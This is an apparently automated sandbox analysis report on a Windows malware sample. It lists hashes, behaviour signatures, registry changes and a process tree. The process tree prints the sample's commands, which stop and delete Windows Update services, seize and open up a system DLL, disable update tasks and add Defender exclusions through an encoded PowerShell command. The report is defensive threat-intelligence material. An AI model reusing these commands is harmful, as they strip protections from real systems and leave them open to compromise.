3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea

Analysis

max time kernel
284s
max time network
183s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
23-08-2022 10:15

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General

Target

3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
Size

1.8MB
MD5

707de025f2ab727fbb3b33f4ff8b97b3
SHA1

51a571a425a36cbbc3103d5e9991d080ccd4abc6
SHA256

3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea
SHA512

256104c78b6f4a7ae7698a5dfa208526583124aec0be194b267e7ab83ed29b0fd893cd3fb829d1d11ef5abcb94192bdf2993780c5a6b8caebe6fb40d1fadf91c

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1712 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

icacls.exetakeown.exeicacls.exetakeown.exe

pid process

4952 icacls.exe
3592 takeown.exe
4460 icacls.exe
4436 takeown.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 4 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

4436 takeown.exe
4952 icacls.exe
3592 takeown.exe
4460 icacls.exe

pid	process
1712	updater.exe

pid	process
4952	icacls.exe
3592	takeown.exe
4460	icacls.exe
4436	takeown.exe

pid	process
4436	takeown.exe
4952	icacls.exe
3592	takeown.exe
4460	icacls.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.EXEpowershell.exeupdater.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\updater.exe.log	updater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Drops file in Program Files directory 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	powershell.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2904 sc.exe
1264 sc.exe
1084 sc.exe
1088 sc.exe
2568 sc.exe
3608 sc.exe
3944 sc.exe
4248 sc.exe
3376 sc.exe
4200 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2904	sc.exe
1264	sc.exe
1084	sc.exe
1088	sc.exe
2568	sc.exe
3608	sc.exe
3944	sc.exe
4248	sc.exe
3376	sc.exe
4200	sc.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.exeupdater.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	updater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	updater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	updater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
4328	reg.exe
4596	reg.exe
3240	reg.exe
4584	reg.exe
4496	reg.exe
4880	reg.exe
4712	reg.exe
3764	reg.exe
4316	reg.exe
3592	reg.exe
3204	reg.exe
4948	reg.exe
4088	reg.exe
4808	reg.exe
4944	reg.exe
4088	reg.exe
4808	reg.exe
4224	reg.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exe3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exepowershell.exepowershell.EXEpowershell.exeupdater.exe

pid	process
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
5104	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
5052	powershell.EXE
5052	powershell.EXE
5052	powershell.EXE
1228	powershell.exe
1228	powershell.exe
1228	powershell.exe
1712	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exe3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeIncreaseQuotaPrivilege	4108	powershell.exe
Token: SeSecurityPrivilege	4108	powershell.exe
Token: SeTakeOwnershipPrivilege	4108	powershell.exe
Token: SeLoadDriverPrivilege	4108	powershell.exe
Token: SeSystemProfilePrivilege	4108	powershell.exe
Token: SeSystemtimePrivilege	4108	powershell.exe
Token: SeProfSingleProcessPrivilege	4108	powershell.exe
Token: SeIncBasePriorityPrivilege	4108	powershell.exe
Token: SeCreatePagefilePrivilege	4108	powershell.exe
Token: SeBackupPrivilege	4108	powershell.exe
Token: SeRestorePrivilege	4108	powershell.exe
Token: SeShutdownPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeSystemEnvironmentPrivilege	4108	powershell.exe
Token: SeRemoteShutdownPrivilege	4108	powershell.exe
Token: SeUndockPrivilege	4108	powershell.exe
Token: SeManageVolumePrivilege	4108	powershell.exe
Token: 33	4108	powershell.exe
Token: 34	4108	powershell.exe
Token: 35	4108	powershell.exe
Token: 36	4108	powershell.exe
Token: SeDebugPrivilege	5104	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
Token: SeTakeOwnershipPrivilege	4436	takeown.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeIncreaseQuotaPrivilege	4440	powershell.exe
Token: SeSecurityPrivilege	4440	powershell.exe
Token: SeTakeOwnershipPrivilege	4440	powershell.exe
Token: SeLoadDriverPrivilege	4440	powershell.exe
Token: SeSystemProfilePrivilege	4440	powershell.exe
Token: SeSystemtimePrivilege	4440	powershell.exe
Token: SeProfSingleProcessPrivilege	4440	powershell.exe
Token: SeIncBasePriorityPrivilege	4440	powershell.exe
Token: SeCreatePagefilePrivilege	4440	powershell.exe
Token: SeBackupPrivilege	4440	powershell.exe
Token: SeRestorePrivilege	4440	powershell.exe
Token: SeShutdownPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeSystemEnvironmentPrivilege	4440	powershell.exe
Token: SeRemoteShutdownPrivilege	4440	powershell.exe
Token: SeUndockPrivilege	4440	powershell.exe
Token: SeManageVolumePrivilege	4440	powershell.exe
Token: 33	4440	powershell.exe
Token: 34	4440	powershell.exe
Token: 35	4440	powershell.exe
Token: 36	4440	powershell.exe
Token: SeIncreaseQuotaPrivilege	4440	powershell.exe
Token: SeSecurityPrivilege	4440	powershell.exe
Token: SeTakeOwnershipPrivilege	4440	powershell.exe
Token: SeLoadDriverPrivilege	4440	powershell.exe
Token: SeSystemProfilePrivilege	4440	powershell.exe
Token: SeSystemtimePrivilege	4440	powershell.exe
Token: SeProfSingleProcessPrivilege	4440	powershell.exe
Token: SeIncBasePriorityPrivilege	4440	powershell.exe
Token: SeCreatePagefilePrivilege	4440	powershell.exe
Token: SeBackupPrivilege	4440	powershell.exe
Token: SeRestorePrivilege	4440	powershell.exe
Token: SeShutdownPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeSystemEnvironmentPrivilege	4440	powershell.exe
Token: SeRemoteShutdownPrivilege	4440	powershell.exe
Token: SeUndockPrivilege	4440	powershell.exe
Token: SeManageVolumePrivilege	4440	powershell.exe
Token: 33	4440	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.execmd.exepowershell.EXEupdater.execmd.exe

description	pid	process	target process
PID 5104 wrote to memory of 4108	5104	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	powershell.exe
PID 5104 wrote to memory of 4108	5104	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	powershell.exe
PID 5104 wrote to memory of 4304	5104	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 5104 wrote to memory of 4304	5104	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 4304 wrote to memory of 2568	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 2568	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 2904	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 2904	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 1264	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 1264	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 3608	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 3608	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 3944	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 3944	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 4088	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4088	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4328	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4328	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4808	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4808	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4596	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4596	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 3592	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 3592	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4436	4304	cmd.exe	takeown.exe
PID 4304 wrote to memory of 4436	4304	cmd.exe	takeown.exe
PID 5104 wrote to memory of 4440	5104	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	powershell.exe
PID 5104 wrote to memory of 4440	5104	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	powershell.exe
PID 4304 wrote to memory of 4952	4304	cmd.exe	icacls.exe
PID 4304 wrote to memory of 4952	4304	cmd.exe	icacls.exe
PID 4304 wrote to memory of 3240	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 3240	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 3204	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 3204	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4948	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4948	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4584	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4584	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 2488	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 2488	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4612	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4612	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3896	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3896	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 1840	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 1840	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4924	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4924	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4876	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4876	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4896	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4896	4304	cmd.exe	schtasks.exe
PID 5052 wrote to memory of 1712	5052	powershell.EXE	updater.exe
PID 5052 wrote to memory of 1712	5052	powershell.EXE	updater.exe
PID 1712 wrote to memory of 1228	1712	updater.exe	powershell.exe
PID 1712 wrote to memory of 1228	1712	updater.exe	powershell.exe
PID 1712 wrote to memory of 4812	1712	updater.exe	cmd.exe
PID 1712 wrote to memory of 4812	1712	updater.exe	cmd.exe
PID 4812 wrote to memory of 4248	4812	cmd.exe	sc.exe
PID 4812 wrote to memory of 4248	4812	cmd.exe	sc.exe
PID 4812 wrote to memory of 1084	4812	cmd.exe	sc.exe
PID 4812 wrote to memory of 1084	4812	cmd.exe	sc.exe
PID 4812 wrote to memory of 3376	4812	cmd.exe	sc.exe
PID 4812 wrote to memory of 3376	4812	cmd.exe	sc.exe

C:\Users\Admin\AppData\Local\Temp\3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
"C:\Users\Admin\AppData\Local\Temp\3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAdQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AdABoAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcQBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGsAcgB4ACMAPgA="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4108

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:4304

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2568

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2904

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1264

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:3608

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3944

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:4088

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:4328

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:4808

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:4596

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:3592

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4436

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4952

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:3240

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:3204

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:4948

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:4584

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:2488

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:4612

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:3896

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:1840

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:4924

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:4876

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:4896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand 